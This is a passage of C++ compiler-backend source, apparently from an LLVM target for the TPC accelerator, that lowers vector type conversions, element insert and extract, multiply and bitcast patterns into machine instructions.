llvm_unreachable(\"Unsupported source and target type\");\n }\n return SDValue();\n}\n\nSDValue TPCTargetLowering::helperCONVERTSIGNED(EVT OpType, \n SDValue Src, unsigned InputSwitch, \n bool IsCastIntrinsicWithRoundMode,\n SelectionDAG& DAG) const {\n SDLoc DL(Src);\n EVT SrcType = Src.getValueType();\n\n if (Src.getValueType() == MVT::v128i16) {\n if (OpType == MVT::v128f32) {\n\n SDValue Ext = DAG.getNode(ISD::SIGN_EXTEND, DL, MVT::v128i32, Src);\n\n // cast to INT32 to FP32\n SDValue N0Val =\n helperExtractSubRegSDValue(TPC::sub_0, DL, DAG, MVT::v64i32, Ext);\n SDValue N1Val =\n helperExtractSubRegSDValue(TPC::sub_1, DL, DAG, MVT::v64i32, Ext);\n\n SDValue ConvertOpNode0 = helperConvertvvpNodeCreate(\n N0Val, DL, DAG, TPCII::OpType::INT32, InputSwitch | TPCII::SW_TO_FP32,\n MVT::v64f32);\n SDValue ConvertOpNode1 = helperConvertvvpNodeCreate(\n N1Val, DL, DAG, TPCII::OpType::INT32, InputSwitch | TPCII::SW_TO_FP32,\n MVT::v64f32);\n\n return createTuple({ConvertOpNode0, ConvertOpNode1}, DAG);\n\n } else if (OpType == MVT::v128bf16) {\n\n return helperConvertvvpNodeCreate(Src, DL, DAG, TPCII::OpType::INT16,\n InputSwitch | TPCII::SW_TO_BF16,\n MVT::v128bf16);\n } else {\n llvm_unreachable(\"Unsupported source and target type\");\n }\n } else if (Src.getValueType() == MVT::v256i8) {\n if (OpType == MVT::v256f16) {\n SDValue Ext = DAG.getNode(ISD::SIGN_EXTEND, DL, MVT::v256i16, Src);\n return (DAG.getNode(ISD::SINT_TO_FP, DL, MVT::v256f16, Ext));\n\n } else if (OpType == MVT::v256bf16) {\n SDValue Ext = DAG.getNode(ISD::SIGN_EXTEND, DL, MVT::v256i16, Src);\n return (DAG.getNode(ISD::SINT_TO_FP, DL, MVT::v256bf16, Ext));\n } else if (OpType == MVT::v256f32) {\n SDValue Ext = DAG.getNode(ISD::SIGN_EXTEND, DL, MVT::v256i32, Src);\n\n auto SubReg00 =\n helperExtractSubRegSDValue(TPC::sub_0, DL, DAG, MVT::v64i32, Ext);\n auto BitCast00 = DAG.getNode(ISD::BITCAST, DL, MVT::v256i8, SubReg00);\n auto SubReg01 =\n helperExtractSubRegSDValue(TPC::sub_1, DL, DAG, MVT::v64i32, Ext);\n auto BitCast01 = DAG.getNode(ISD::BITCAST, DL, MVT::v256i8, SubReg01);\n auto SubReg10 =\n helperExtractSubRegSDValue(TPC::sub_2, DL, DAG, MVT::v64i32, Ext);\n auto BitCast10 = DAG.getNode(ISD::BITCAST, DL, MVT::v256i8, SubReg10);\n auto SubReg11 =\n helperExtractSubRegSDValue(TPC::sub_3, DL, DAG, MVT::v64i32, Ext);\n auto BitCast11 = DAG.getNode(ISD::BITCAST, DL, MVT::v256i8, SubReg11);\n\n auto opType = TPCII::OpType::INT8;\n auto ResultVT = MVT::v64f32;\n auto ConvertNode00 = helperConvertvvpNodeCreate(\n BitCast00, DL, DAG, opType, TPCII::SW_RHNE | TPCII::SW_TO_FP32,\n ResultVT);\n auto ConvertNode01 = helperConvertvvpNodeCreate(\n BitCast01, DL, DAG, opType, TPCII::SW_RHNE | TPCII::SW_TO_FP32,\n ResultVT);\n auto ConvertNode10 = helperConvertvvpNodeCreate(\n BitCast10, DL, DAG, opType, TPCII::SW_RHNE | TPCII::SW_TO_FP32,\n ResultVT);\n auto ConvertNode11 = helperConvertvvpNodeCreate(\n BitCast11, DL, DAG, opType, TPCII::SW_RHNE | TPCII::SW_TO_FP32,\n ResultVT);\n return createTuple(\n {ConvertNode00, ConvertNode01, ConvertNode10, ConvertNode11}, DAG);\n }\n }\n if (OpType == MVT::v128i16) {\n if (SrcType == MVT::v128f32) {\n if (IsCastIntrinsicWithRoundMode) {\n enum TPCII::OpType TargetType = TPCII::OpType::INT16;\n SDValue N0Val =\n helperExtractSubRegSDValue(TPC::sub_0, DL, DAG, MVT::v64f32, Src);\n SDValue N1Val =\n helperExtractSubRegSDValue(TPC::sub_1, DL, DAG, MVT::v64f32, Src);\n\n SDValue Src0 = helperConvertvvpNodeCreate(\n N0Val, DL, DAG, TPCII::OpType::FP32,\n InputSwitch | TPCII::SW_TO_INT32, MVT::v64i32);\n SDValue Src1 = helperConvertvvpNodeCreate(\n N1Val, DL, DAG, TPCII::OpType::FP32,\n InputSwitch | TPCII::SW_TO_INT32, MVT::v64i32);\n\n // CONVERT to Int: 64xi32 To 128xi16\n SDValue Convert0 = helperConvertIntNodeCreate(\n Src0, DL, DAG, InputSwitch | TPCII::SW_TO_INT16, MVT::v128i16,\n TPC::CONVERT_INT16vvp);\n SDValue Convert1 = helperConvertIntNodeCreate(\n Src1, DL, DAG, InputSwitch | TPCII::SW_TO_INT16, MVT::v128i16,\n TPC::CONVERT_INT16vvp);\n\n return truncate_32_to_16(DAG, Convert0, Convert1, DL, OpType,\n TargetType);\n } else {\n SDValue CastFP32ToSINT32 =\n DAG.getNode(ISD::FP_TO_SINT, DL, MVT::v128i32, Src);\n return IsCastIntrinsicWithRoundMode\n ? lowerTRUNCATE(DAG.getNode(ISD::TRUNCATE, DL, MVT::v128i16,\n CastFP32ToSINT32),\n DAG, InputSwitch,\n IsCastIntrinsicWithRoundMode)\n : (DAG.getNode(ISD::TRUNCATE, DL, MVT::v128i16,\n CastFP32ToSINT32));\n }\n } else if (SrcType == MVT::v128bf16) {\n return helperConvertvvpNodeCreate(Src, DL, DAG, TPCII::OpType::BF16,\n InputSwitch | TPCII::SW_TO_INT16,\n MVT::v128i16);\n } else {\n llvm_unreachable(\"Unsupported source and target type\");\n }\n }\n\n if (((OpType == MVT::v256i8) && (SrcType == MVT::v256f16)) ||\n ((OpType == MVT::v256i8) && (SrcType == MVT::v256bf16))) {\n if (IsCastIntrinsicWithRoundMode) {\n LLVM_DEBUG(\n dbgs() << \"Truncate SIGNED intrinsic: Get switch from argument: \"\n << InputSwitch << \"\\n\");\n\n enum TPCII::OpType TargetType = TPCII::OpType::INT8;\n // SUBREG0: 256xBF16|FP16 To 128xBF16|FP16\n SDValue N0Val = helperExtractSubRegSDValue(\n TPC::sub_0, DL, DAG,\n SrcType == MVT::v256bf16 ? MVT::v128bf16 : MVT::v128f16, Src);\n // SUBREG1: 256xBF16|FP16 To 128xBF16|FP16\n SDValue N1Val = helperExtractSubRegSDValue(\n TPC::sub_1, DL, DAG,\n SrcType == MVT::v256bf16 ? MVT::v128bf16 : MVT::v128f16, Src);\n\n // CONVERT1: 128xBF16|FP16 To 128xi16\n SDValue Src0 = helperConvertvvpNodeCreate(\n N0Val, DL, DAG,\n SrcType == MVT::v256bf16 ? TPCII::OpType::BF16 : TPCII::OpType::FP16,\n InputSwitch | TPCII::SW_TO_INT16, MVT::v128i16);\n // CONVERT2: 128xBF16|FP16 To 128xi16\n SDValue Src1 = helperConvertvvpNodeCreate(\n N1Val, DL, DAG,\n SrcType == MVT::v256bf16 ? TPCII::OpType::BF16 : TPCII::OpType::FP16,\n InputSwitch | TPCII::SW_TO_INT16, MVT::v128i16);\n\n // CONVERT11: 128xi16 To 256xi8\n SDValue Src00 = helperConvertIntNodeCreate(\n Src0, DL, DAG, InputSwitch | TPCII::SW_TO_INT8, MVT::v256i8,\n getTargetConvertType(*Subtarget));\n // CONVERT22: 128xi16 To 256xi8\n SDValue Src11 = helperConvertIntNodeCreate(\n Src1, DL, DAG, InputSwitch | TPCII::SW_TO_INT8, MVT::v256i8,\n getTargetConvertType(*Subtarget));\n\n // This name is somewhat misleading however it linearizes using sequence\n // of PACK and MOV_DUAL_GROUP instructions.\n return truncate_32_to_16(DAG, Src00, Src11, DL, OpType, TargetType);\n } else {\n SDValue CastF16ToSINT16 =\n DAG.getNode(ISD::FP_TO_SINT, DL, MVT::v256i16,\n Src); // Eliminates the Gen3 additional check\n\n return (DAG.getNode(ISD::TRUNCATE, DL, MVT::v256i8, CastF16ToSINT16));\n }\n } else if ((OpType == MVT::v256i8) && (SrcType == MVT::v256f32)) {\n#if 0 // Commented to resolve a bug temporarily\n // Convert from FP32 --> INT32\n SDValue CastFP32ToSINT32 =\n DAG.getNode(ISD::FP_TO_SINT, DL, MVT::v256i32, Src);\n\n return IsCastIntrinsicWithRoundMode\n ? lowerTRUNCATE(DAG.getNode(ISD::TRUNCATE, DL, MVT::v256i8,\n CastFP32ToSINT32),\n DAG, InputSwitch, IsCastIntrinsicWithRoundMode)\n : (DAG.getNode(ISD::TRUNCATE, DL, MVT::v256i8,\n CastFP32ToSINT32));\n#else\n // TODO: This instruction sequence directly converts v256f32 to v256i8\n // without having to convert to an intermediate v256i32. This should be\n // enabled once the hardware workaround for converts is disabled.\n\n SDValue N0Val =\n helperExtractSubRegSDValue(TPC::sub_0, DL, DAG, MVT::v64f32, Src);\n SDValue N1Val =\n helperExtractSubRegSDValue(TPC::sub_1, DL, DAG, MVT::v64f32, Src);\n SDValue N2Val =\n helperExtractSubRegSDValue(TPC::sub_2, DL, DAG, MVT::v64f32, Src);\n SDValue N3Val =\n helperExtractSubRegSDValue(TPC::sub_3, DL, DAG, MVT::v64f32, Src);\n\n SDValue Src0 = helperConvertvvpNodeCreate(\n N0Val, DL, DAG, TPCII::OpType::FP32,\n (IsCastIntrinsicWithRoundMode ? InputSwitch : TPCII::SW_RHNE) |\n TPCII::SW_TO_INT8,\n MVT::v256i8);\n SDValue Src1 = helperConvertvvpNodeCreate(\n N1Val, DL, DAG, TPCII::OpType::FP32,\n (IsCastIntrinsicWithRoundMode ? InputSwitch : TPCII::SW_RHNE) |\n TPCII::SW_TO_INT8,\n MVT::v256i8);\n SDValue Src2 = helperConvertvvpNodeCreate(\n N2Val, DL, DAG, TPCII::OpType::FP32,\n (IsCastIntrinsicWithRoundMode ? InputSwitch : TPCII::SW_RHNE) |\n TPCII::SW_TO_INT8,\n MVT::v256i8);\n SDValue Src3 = helperConvertvvpNodeCreate(\n N3Val, DL, DAG, TPCII::OpType::FP32,\n (IsCastIntrinsicWithRoundMode ? InputSwitch : TPCII::SW_RHNE) |\n TPCII::SW_TO_INT8,\n MVT::v256i8);\n\n return truncate_32_to_8(DAG, Src0, Src1, Src2, Src3, DL, MVT::v256i8,\n TPCII::OpType::INT8);\n#endif\n } else if ((OpType == MVT::v64i32) && (SrcType == MVT::v64f32)) {\n return helperConvertvvpNodeCreate(\n Src, DL, DAG, TPCII::OpType::FP32,\n (IsCastIntrinsicWithRoundMode ? InputSwitch : TPCII::SW_RHNE) |\n TPCII::SW_TO_INT32,\n MVT::v64i32);\n } else if ((SrcType == MVT::v64i32) && (OpType == MVT::v64f32)) {\n return helperConvertvvpNodeCreate(\n Src, DL, DAG, TPCII::OpType::INT32,\n (IsCastIntrinsicWithRoundMode ? InputSwitch : TPCII::SW_RHNE) |\n TPCII::SW_TO_FP32,\n MVT::v64f32);\n } else if ((SrcType == MVT::v256i16) && (OpType == MVT::v256bf16)) {\n EVT EltTy = SrcType.getVectorElementType();\n unsigned SubNumElts = SrcType.getVectorNumElements();\n EVT SubSrcTy = EVT::getVectorVT(*DAG.getContext(), EltTy, SubNumElts / 2);\n SDValue h0 = helperExtractSubRegSDValue(TPC::sub_0, DL, DAG, SubSrcTy, Src);\n SDValue h1 = helperExtractSubRegSDValue(TPC::sub_1, DL, DAG, SubSrcTy, Src);\n EVT SubOpTy = EVT::getVectorVT(*DAG.getContext(), OpType.getVectorElementType(), SubNumElts / 2);\n\n h0 = helperCONVERTSIGNED(SubOpTy, h0, InputSwitch,\n IsCastIntrinsicWithRoundMode,DAG);\n h1 = helperCONVERTSIGNED(SubOpTy, h1, InputSwitch,\n IsCastIntrinsicWithRoundMode,DAG);\n SmallVector<SDValue, 4> SubVects;\n SubVects.push_back(h0);\n SubVects.push_back(h1);\n SDValue thu = createTuple(SubVects, DAG);\n return thu;\n } else {\n llvm_unreachable(\"Unsupported source and target type\");\n }\n return SDValue();\n}\n\n\nSDValue TPCTargetLowering::lowerCONVERTSIGNED(SDValue Op,\n SelectionDAG &DAG) const {\n\n SDLoc DL(Op);\n unsigned int NumOp = Op.getNumOperands();\n unsigned int InputSwitch = TPCII::SW_CSR;\n // If Op is intrinsic, get the switch from it.\n auto IsCastIntrinsicWithRoundMode = NumOp == 3;\n if (IsCastIntrinsicWithRoundMode) {\n InputSwitch = Op.getConstantOperandVal(NumOp - 1);\n LLVM_DEBUG(dbgs() << \"lowerCONVERTSIGNED: Get switch from argument: \"\n << InputSwitch << \"\\n\");\n }\n EVT OpType = (IsCastIntrinsicWithRoundMode) ? Op.getValueType()\n : Op->getValueType(0);\n const SDValue &Src = (IsCastIntrinsicWithRoundMode)? Op.getOperand(1)\n : Op.getOperand(0);\n\n EVT SrcType = Src.getValueType();\n ///////////////////////////////////////////////////////\n return helperCONVERTSIGNED(OpType, Src, InputSwitch,\n IsCastIntrinsicWithRoundMode, DAG);\n //////////////////////////////////////////////////////////\n}\n\nSDValue TPCTargetLowering::lowerCONVERTUNSIGNED(SDValue Op,\n SelectionDAG &DAG) const {\n SDLoc DL(Op);\n unsigned int NumOp = Op.getNumOperands();\n unsigned int InputSwitch = TPCII::SW_CSR;\n\n // If Op is intrinsic, get the switch from it.\n auto IsCastIntrinsicWithRoundMode = NumOp == 3;\n if (IsCastIntrinsicWithRoundMode) {\n InputSwitch = Op.getConstantOperandVal(NumOp - 1);\n LLVM_DEBUG(dbgs() << \"lowerCONVERTUNSIGNED: Get switch from argument: \"\n << InputSwitch << \"\\n\");\n }\n EVT OpType = IsCastIntrinsicWithRoundMode ? Op.getValueType() : Op->getValueType(0);\n const SDValue &Src =\n IsCastIntrinsicWithRoundMode ? Op.getOperand(1) : Op.getOperand(0);\n\n EVT SrcType = Src.getValueType();\n\n if (Src.getValueType() == MVT::v128i16) {\n if (Op.getValueType() == MVT::v128f32) {\n\n SDValue Ext = DAG.getNode(ISD::ZERO_EXTEND, DL, MVT::v128i32, Src);\n\n SDValue N0Val =\n helperExtractSubRegSDValue(TPC::sub_0, DL, DAG, MVT::v64i32, Ext);\n SDValue N1Val =\n helperExtractSubRegSDValue(TPC::sub_1, DL, DAG, MVT::v64i32, Ext);\n\n SDValue ConvertOpNode0 = helperConvertvvpNodeCreate(\n N0Val, DL, DAG, TPCII::OpType::UINT32,\n InputSwitch | TPCII::SW_TO_FP32, MVT::v64f32);\n SDValue ConvertOpNode1 = helperConvertvvpNodeCreate(\n N1Val, DL, DAG, TPCII::OpType::UINT32,\n InputSwitch | TPCII::SW_TO_FP32, MVT::v64f32);\n\n return createTuple({ConvertOpNode0, ConvertOpNode1}, DAG);\n\n } else if (Op.getValueType() == MVT::v128bf16) {\n\n return helperConvertvvpNodeCreate(\n Src, DL, DAG, TPCII::OpType::UINT16,\n InputSwitch | TPCII::SW_TO_BF16, MVT::v128bf16);\n } else {\n llvm_unreachable(\"Unsupported source and target type\");\n }\n }\n if (OpType == MVT::v128i16) {\n if (SrcType == MVT::v128f32) {\n if (IsCastIntrinsicWithRoundMode) {\n enum TPCII::OpType TargetType = TPCII::OpType::UINT16;\n SDValue N0Val =\n helperExtractSubRegSDValue(TPC::sub_0, DL, DAG, MVT::v64f32, Src);\n SDValue N1Val =\n helperExtractSubRegSDValue(TPC::sub_1, DL, DAG, MVT::v64f32, Src);\n\n SDValue Src0 = helperConvertvvpNodeCreate(\n N0Val, DL, DAG, TPCII::OpType::FP32,\n InputSwitch | TPCII::SW_TO_INT32, MVT::v64i32);\n SDValue Src1 = helperConvertvvpNodeCreate(\n N1Val, DL, DAG, TPCII::OpType::FP32,\n InputSwitch | TPCII::SW_TO_INT32, MVT::v64i32);\n\n // CONVERT to Int: 64xi32 To 128xi16\n SDValue Convert0 = helperConvertIntNodeCreate(\n Src0, DL, DAG, InputSwitch | TPCII::SW_TO_UINT16, MVT::v128i16,\n TPC::CONVERT_INT16vvp);\n SDValue Convert1 = helperConvertIntNodeCreate(\n Src1, DL, DAG, InputSwitch | TPCII::SW_TO_UINT16, MVT::v128i16,\n TPC::CONVERT_INT16vvp);\n\n return truncate_32_to_16(DAG, Convert0, Convert1, DL, OpType,\n TargetType);\n } else {\n SDValue CastFP32ToUINT32 =\n DAG.getNode(ISD::FP_TO_UINT, DL, MVT::v128i32, Src);\n\n return (DAG.getNode(ISD::TRUNCATE, DL, MVT::v128i16, CastFP32ToUINT32));\n }\n } else if (SrcType == MVT::v128bf16) {\n SDValue ConvertNode = helperConvertvvpNodeCreate(\n Src, DL, DAG, TPCII::OpType::BF16,\n InputSwitch | TPCII::SW_TO_INT16, MVT::v128i16);\n return helperANDvipNodeCreate(ConvertNode, DL, DAG,\n TPCII::OpType::INT16, 0x0000FFFF,\n MVT::v128i16);\n\n } else {\n llvm_unreachable(\"Unsupported source and target type\");\n }\n }\n\n if (((OpType == MVT::v256i8) && (SrcType == MVT::v256f16)) ||\n ((OpType == MVT::v256i8) && (SrcType == MVT::v256bf16))) {\n if (IsCastIntrinsicWithRoundMode) {\n LLVM_DEBUG(\n dbgs() << \"Truncate UNSIGNED intrinsic: Get switch from argument: \"\n << InputSwitch << \"\\n\");\n\n enum TPCII::OpType TargetType = TPCII::OpType::UINT8;\n // SUBREG0: 256xBF16|FP16 To 128xBF16|FP16\n SDValue N0Val = helperExtractSubRegSDValue(\n TPC::sub_0, DL, DAG,\n SrcType == MVT::v256bf16 ? MVT::v128bf16 : MVT::v128f16, Src);\n // SUBREG1: 256xBF16|FP16 To 128xBF16|FP16\n SDValue N1Val = helperExtractSubRegSDValue(\n TPC::sub_1, DL, DAG,\n SrcType == MVT::v256bf16 ? MVT::v128bf16 : MVT::v128f16, Src);\n\n // CONVERT1: 128xBF16|FP16 To 128xi16\n SDValue Src0 = helperConvertvvpNodeCreate(\n N0Val, DL, DAG,\n SrcType == MVT::v256bf16 ? TPCII::OpType::BF16 : TPCII::OpType::FP16,\n InputSwitch | TPCII::SW_TO_UINT16, MVT::v128i16);\n // CONVERT2: 128xBF16|FP16 To 128xi16\n SDValue Src1 = helperConvertvvpNodeCreate(\n N1Val, DL, DAG,\n SrcType == MVT::v256bf16 ? TPCII::OpType::BF16 : TPCII::OpType::FP16,\n InputSwitch | TPCII::SW_TO_UINT16, MVT::v128i16);\n\n // CONVERT11: 128xi16 To 256xi8\n SDValue Src00 = helperConvertIntNodeCreate(\n Src0, DL, DAG, InputSwitch | TPCII::SW_TO_UINT8, MVT::v256i8,\n TPC::CONVERT_INT16vvp);\n // CONVERT22: 128xi16 To 256xi8\n SDValue Src11 = helperConvertIntNodeCreate(\n Src1, DL, DAG, InputSwitch | TPCII::SW_TO_UINT8, MVT::v256i8,\n TPC::CONVERT_INT16vvp);\n\n // This name is somewhat misleading however it linearizes using sequence\n // of PACK and MOV_DUAL_GROUP instructions.\n return truncate_32_to_16(DAG, Src00, Src11, DL, OpType, TargetType);\n } else {\n SDValue CastF16ToUINT16 =\n DAG.getNode(ISD::FP_TO_UINT, DL, MVT::v256i16, Src);\n return (DAG.getNode(ISD::TRUNCATE, DL, MVT::v256i8, CastF16ToUINT16));\n }\n }\n\n if ((OpType == MVT::v256i8) && (SrcType == MVT::v256f32)) {\n // Convert from FP32 --> INT32\n if (IsCastIntrinsicWithRoundMode) {\n SDValue N0Val =\n helperExtractSubRegSDValue(TPC::sub_0, DL, DAG, MVT::v64f32, Src);\n SDValue N1Val =\n helperExtractSubRegSDValue(TPC::sub_1, DL, DAG, MVT::v64f32, Src);\n SDValue N2Val =\n helperExtractSubRegSDValue(TPC::sub_2, DL, DAG, MVT::v64f32, Src);\n SDValue N3Val =\n helperExtractSubRegSDValue(TPC::sub_3, DL, DAG, MVT::v64f32, Src);\n\n SDValue Src0 = helperConvertvvpNodeCreate(\n N0Val, DL, DAG, TPCII::OpType::FP32, InputSwitch | TPCII::SW_TO_UINT8,\n MVT::v256i8);\n SDValue Src1 = helperConvertvvpNodeCreate(\n N1Val, DL, DAG, TPCII::OpType::FP32, InputSwitch | TPCII::SW_TO_UINT8,\n MVT::v256i8);\n SDValue Src2 = helperConvertvvpNodeCreate(\n N2Val, DL, DAG, TPCII::OpType::FP32, InputSwitch | TPCII::SW_TO_UINT8,\n MVT::v256i8);\n SDValue Src3 = helperConvertvvpNodeCreate(\n N3Val, DL, DAG, TPCII::OpType::FP32, InputSwitch | TPCII::SW_TO_UINT8,\n MVT::v256i8);\n\n return truncate_32_to_8(DAG, Src0, Src1, Src2, Src3, DL, MVT::v256i8,\n TPCII::OpType::UINT8);\n } else {\n SDValue CastFP32ToUINT32 =\n DAG.getNode(ISD::FP_TO_UINT, DL, MVT::v256i32, Src);\n return DAG.getNode(ISD::TRUNCATE, DL, MVT::v256i8, CastFP32ToUINT32);\n }\n } else if ((OpType == MVT::v256f32) && (SrcType == MVT::v256i8)) {\n SDValue Ext = DAG.getNode(ISD::ZERO_EXTEND, DL, MVT::v256i32, Src);\n return (DAG.getNode(ISD::BITCAST, DL, Op.getValueType(), Ext));\n } else {\n llvm_unreachable(\"Unsupported source and target type\");\n }\n return SDValue();\n}\n\nSDValue TPCTargetLowering::lowerEXTRACT_VECTOR_ELT(SDValue Op,\n SelectionDAG &DAG) const {\n SDLoc DL(Op);\n const SDValue &Vector = Op.getOperand(0);\n const SDValue &Index = Op.getOperand(1);\n\n EVT VT = Vector.getValueType();\n assert(VT.isVector());\n if (VT.getVectorNumElements() != 2)\n return SDValue();\n\n EVT EltTy = Op.getValueType();\n if (!EltTy.isScalarInteger())\n return SDValue();\n\n auto IndexVal = dyn_cast<ConstantSDNode>(Index);\n if (!IndexVal)\n return SDValue();\n assert(IndexVal->getZExtValue() < 2);\n const unsigned IndexMap[2] = {TPC::sub_s0, TPC::sub_s1};\n unsigned SubNdx = IndexMap[IndexVal->getZExtValue()];\n SDValue NIndex = DAG.getTargetConstant(SubNdx, DL, MVT::i32);\n SDNode *N = DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, DL, EltTy,\n Vector, NIndex);\n return SDValue(N, 0);\n}\n\nSDValue TPCTargetLowering::lowerINSERT_VECTOR_ELT(SDValue Op,\n SelectionDAG &DAG) const {\n SDLoc DL(Op);\n const SDValue &Vector = Op.getOperand(0);\n const SDValue &Item = Op.getOperand(1);\n const SDValue &Index = Op.getOperand(2);\n\n EVT VT = Vector.getValueType();\n assert(VT.isVector());\n if (VT.getVectorNumElements() != 2)\n return SDValue();\n assert(VT.getVectorElementType().isScalarInteger());\n\n auto IndexVal = dyn_cast<ConstantSDNode>(Index);\n if (!IndexVal)\n return SDValue();\n assert(IndexVal->getZExtValue() < 2);\n\n const unsigned IndexMap[2] = {TPC::sub_s0, TPC::sub_s1};\n unsigned SubNdx = IndexMap[IndexVal->getZExtValue()];\n SDValue NIndex = DAG.getTargetConstant(SubNdx, DL, MVT::i32);\n SDNode *N = DAG.getMachineNode(TargetOpcode::INSERT_SUBREG, DL, VT, Vector,\n Item, NIndex);\n return SDValue(N, 0);\n}\n\nSDValue TPCTargetLowering::lowerAtomicCmpXchg(SDValue Op,\n SelectionDAG &DAG) const {\n report_fatal_error(\"atomic compare exchange is not supported in TPC\");\n}\n\nstatic bool isSplatBuildVector(SDValue Op, SDValue &El) {\n if (Op.getOpcode() != ISD::BUILD_VECTOR)\n return false;\n unsigned NumElements = Op.getNumOperands();\n SDValue Element = Op.getOperand(0);\n for (unsigned i = 1; i < NumElements; ++i)\n if (Op.getOperand(i) != Element)\n return false;\n El = Element;\n return true;\n}\n\nSDValue TPCTargetLowering::lowerAtomicFence(SDValue Op,\n SelectionDAG &DAG) const {\n report_fatal_error(\"atomic fence is not supported in TPC\");\n}\n\nSDValue TPCTargetLowering::lowerAtomicRMW(SDValue Op, SelectionDAG &DAG) const {\n report_fatal_error(\"atomic rmw is not supported in TPC\");\n}\n\nSDValue TPCTargetLowering::lowerBLOCK_ADDRESS(SDValue Op,\n SelectionDAG &DAG) const {\n BlockAddressSDNode *BASDN = cast<BlockAddressSDNode>(Op);\n const BlockAddress *BA = BASDN->getBlockAddress();\n EVT Ty = getPointerTy(DAG.getDataLayout());\n SDValue tba = DAG.getTargetBlockAddress(BA, Ty);\n SDValue Mov = DAG.getNode(TPCISD::COND_MOV, SDLoc(Op), Ty, tba,\n DAG.getRegister(TPC::SP0, MVT::i1));\n return Mov;\n}\n\nSDValue TPCTargetLowering::lowerMUL(SDValue Op, SelectionDAG &DAG) const {\n SDLoc DL(Op);\n SDValue Op1 = Op.getOperand(0);\n SDValue Op2 = Op.getOperand(1);\n EVT VT = Op.getValueType();\n if (!VT.isVector())\n return SDValue();\n EVT EltTy = VT.getVectorElementType();\n if (!EltTy.isScalarInteger())\n return SDValue();\n\n enum BitSize { Bits32, Bits16, Bits8 } ElementBitSize;\n SDValue DataType;\n EVT ElemTy;\n switch (VT.getVectorNumElements()) {\n case 64:\n assert(EltTy.getSizeInBits() == 32);\n DataType = DAG.getTargetConstant(TPCII::OpType::INT32, DL, MVT::i8);\n ElementBitSize = Bits32;\n ElemTy = MVT::i32;\n break;\n case 128:\n assert(EltTy.getSizeInBits() == 16);\n DataType = DAG.getTargetConstant(TPCII::OpType::INT16, DL, MVT::i8);\n ElementBitSize = Bits16;\n ElemTy = MVT::i16;\n break;\n case 256:\n assert(EltTy.getSizeInBits() == 8);\n DataType = DAG.getTargetConstant(TPCII::OpType::INT8, DL, MVT::i8);\n ElementBitSize = Bits8;\n ElemTy = MVT::i8;\n break;\n default:\n llvm_unreachable(\"Unexpected vector size\");\n }\n\n enum InstrVariant { VV, VS, VI } Variant = VV;\n if (Op1.getOpcode() == ISD::BUILD_VECTOR)\n std::swap(Op1, Op2);\n SDValue Element;\n if (isSplatBuildVector(Op2, Element)) {\n if (Element.getOpcode() == ISD::Constant) {\n unsigned ArgVal = cast<ConstantSDNode>(Element)->getZExtValue();\n Element = DAG.getTargetConstant(ArgVal, DL, ElemTy);\n Variant = VI;\n } else if (Element.getOpcode() == ISD::TargetConstant) {\n Variant = VI;\n } else {\n Variant = VS;\n }\n Op2 = Element;\n }\n\n static const unsigned InstrOpCodeTable[/*DT*/ 3][/*VX*/ 3] = {\n {TPC::MULi32vvp, TPC::MULi32vsp, TPC::MULi32vip},\n {TPC::MULi16vvp, TPC::MULi16vsp, TPC::MULi16vip},\n {TPC::MULi8vvp, TPC::MULi8vsp, TPC::MULi8vip}};\n const unsigned InstrOpCode = InstrOpCodeTable[ElementBitSize][Variant];\n\n static const EVT MulResultTable[3] = {MVT::v128i32, MVT::v256i16,\n MVT::v512i8};\n EVT ResultVT = MulResultTable[ElementBitSize];\n\n MachineSDNode *Node = DAG.getMachineNode(\n InstrOpCode, DL, ResultVT,\n {Op1, Op2, DataType, DAG.getTargetConstant(0, DL, MVT::i32),\n DAG.getUNDEF(ResultVT), DAG.getRegister(TPC::SP0, MVT::i1),\n DAG.getTargetConstant(0, DL, MVT::i1)});\n EVT SubRegType;\n unsigned SwitchTo;\n unsigned ConvertType;\n // generate converts to extract o/p of the appropriate size.\n if ((VT == MVT::v128i16) && (InstrOpCode == TPC::MULi16vvp)) {\n SDValue Mul(Node, 0);\n SubRegType = MVT::v64i32;\n SwitchTo = TPCII::SW_TO_16;\n ConvertType = Subtarget->hasGoyaISA() ? TPC::CONVERT_INT32vip\n : TPC::CONVERT_INT32g2vip;\n SDValue N0Val =\n helperExtractSubRegSDValue(TPC::sub_0, DL, DAG, SubRegType, Mul);\n SDValue N1Val =\n helperExtractSubRegSDValue(TPC::sub_1, DL, DAG, SubRegType, Mul);\n\n SDValue Src1 = helperConvertIntNodeCreate(\n N0Val, DL, DAG, TPCII::SW_LANE_0 | TPCII::SW_RHNE | SwitchTo, VT,\n ConvertType);\n SDValue Src2 = helperConvertIntNodeCreate(\n N1Val, DL, DAG, TPCII::SW_LANE_1 | TPCII::SW_RHNE | SwitchTo, VT,\n ConvertType, &Src1);\n return Src2;\n }\n SDValue MulResult(Node, 0);\n\n Node = DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, DL, Op.getValueType(),\n MulResult,\n DAG.getTargetConstant(TPC::sub_0, DL, MVT::i32));\n return SDValue(Node, 0);\n}\n\nstatic SDValue performBitCastCombine(SDNode *N, SelectionDAG &DAG,\n TargetLowering::DAGCombinerInfo &DCI,\n const TPCSubtarget *Subtarget) {\n SDLoc DL(N);\n EVT ResultVT = N->getValueType(0);\n SDValue CastedArg = N->getOperand(0);\n EVT CastedVT = CastedArg.getValueType();\n\n if (CastedArg.getOpcode() == ISD::EXTRACT_VECTOR_ELT &&\n CastedVT.isInteger() && CastedVT.getSizeInBits() == 2048) {\n SDValue VectorArg = CastedArg.getOperand(0);\n uint64_t EltNo = CastedArg.getNode()->getConstantOperandVal(1);\n\n // Convert pattern like:\n //\n // t20: v128i32 = ...\n // t23: v2i2048 = bitcast t20\n // t24: i2048 = extract_vector_elt t23, Constant : i32<1>\n // t36: v64f32 = bitcast t24\n //\n // into:\n //\n // t20: v128i32 = ...\n // t24: v64i32 = extract_subvector t23, Constant : i32<64>\n // t36: v64f32 = bitcast t24\n //\n if (VectorArg.getOpcode() == ISD::BITCAST) {\n SDValue OrigArg = VectorArg.getOperand(0);\n EVT OrigType = OrigArg.getValueType();\n assert(OrigType.getSizeInBits() == 4096);\n EVT ResultType =\n EVT::getVectorVT(*DAG.getContext(), OrigType.getVectorElementType(),\n OrigType.getVectorNumElements() / 2);\n SDValue SubRegNo = DAG.getConstant(\n EltNo * ResultType.getVectorNumElements(), DL, MVT::i32);\n SDValue ExtrSubV = DAG.getNode(ISD::EXTRACT_SUBVECTOR, DL, ResultType,\n OrigArg, SubRegNo);\n if (ResultType == ResultVT)\n return ExtrSubV;\n SDValue Result = DAG.getNode(ISD::BITCAST, DL, 